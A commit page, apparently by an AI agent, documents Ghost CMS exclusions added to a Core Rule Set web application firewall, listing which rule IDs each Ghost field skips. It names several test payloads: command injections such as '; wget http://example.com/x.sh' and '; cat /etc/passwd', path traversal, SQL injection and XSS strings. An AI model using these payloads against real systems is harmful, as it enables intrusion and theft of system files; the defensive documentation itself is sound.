Core Rule Set: Ghost's ordinary requests pass by default (closes #357)
check / check (push) Waiting to run

Ghost 6.76.0's ordinary traffic, recorded in `testdata/ghost-requests.txt`,
passes at the default settings and while bodies are read. It covers public
pages, members' sign-up and sign-in, the admin, the editor saving and
publishing posts and pages with code blocks and HTML cards, tags, settings,
staff invitations, uploads, newsletter settings, and both APIs. Ghost's
fixes, in the new `ghost.conf`, let through `filter`, the member `search`
and the embed `url` in the query, and plain text, addresses, articles, code
injection and passwords in JSON bodies. A `<script>` element and a
`javascript:` link stay refused in articles and code injection. `SWW_APPS`
names Ghost `ghost`. `README.md` lists Ghost; `SPEC.md` lists its fixes.

Model: opus-5-5
This commit was merged in pull request #360.
This commit is contained in:
clawbot committed 2026-11-12 04:58:37 +01:00
1 parent d9aaed636e
commit de7ef16001
10 files changed
+1638 -4

No files matched your search

+79
View File
@@ -787,6 +787,7 @@ The supported apps are:
- `drupal`;
- `forgejo`;
- `ghost`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
@@ -1734,6 +1735,84 @@ only while `SWW_WAF_BODY_LIMIT` is set.
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
puts what gitea puts in `gitea_flash` (gitea's second fix).
Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
and the request it refused. Ghost's admin and integrations call the Admin API
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`.
Three query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
API and the Content API, so `tag:powershell` passes;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120.
The fields of JSON bodies where a person types plain text skip 930120, 932120,
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
pages, tags, labels, members, newsletters and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
- `custom_excerpt`, `description`, `note` and `sender_name`;
- the `meta_`, `og_` and `twitter_` titles and descriptions.
A member's `name` at `/members/api/` skips them too. A member's `email` skips
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
member. A staff user's address skips them too: `username` when signing in, and
`email` when creating the first staff user, asking for a password reset or
saving a profile.
The articles carry HTML on purpose. These fields on the Admin API hold them:
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
integrations send, for posts and pages;
- `lexical` and `mobiledoc` of snippets;
- `footer_content` of newsletters.
The articles skip these rules:
- 930120, 932120, 932125, 932160, 932230, 932235, 932250, 932260, 932370 and
932380, which refused commands in a code block;
- 934100, 941180 and 941390, which refused JavaScript in a code block;
- 942190, which refused an SQL query in a code block;
- 941100, 941120 and 941160, which refused an HTML card.
Code injection is the HTML that Ghost adds to the head and the foot of a page.
These fields on the Admin API hold it:
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `value` of settings, since the site's settings hold its code injection.
Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
injection are still refused in every field above. Script injection is too,
outside the articles. `; wget http://example.com/x.sh` is still refused in the
query fields, the plain text and the addresses.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name
skips 930120 when a profile is saved.
The passwords skip each rule that random passwords set off. The numbers are in
`internal/coreruleset/ghost.conf`. They are `password` when signing in, and the
passwords sent when creating the first staff user, accepting an invitation, and
resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`,
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name. Elsewhere these fields
keep every rule. The paths are those of Ghost at the site root.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
itself.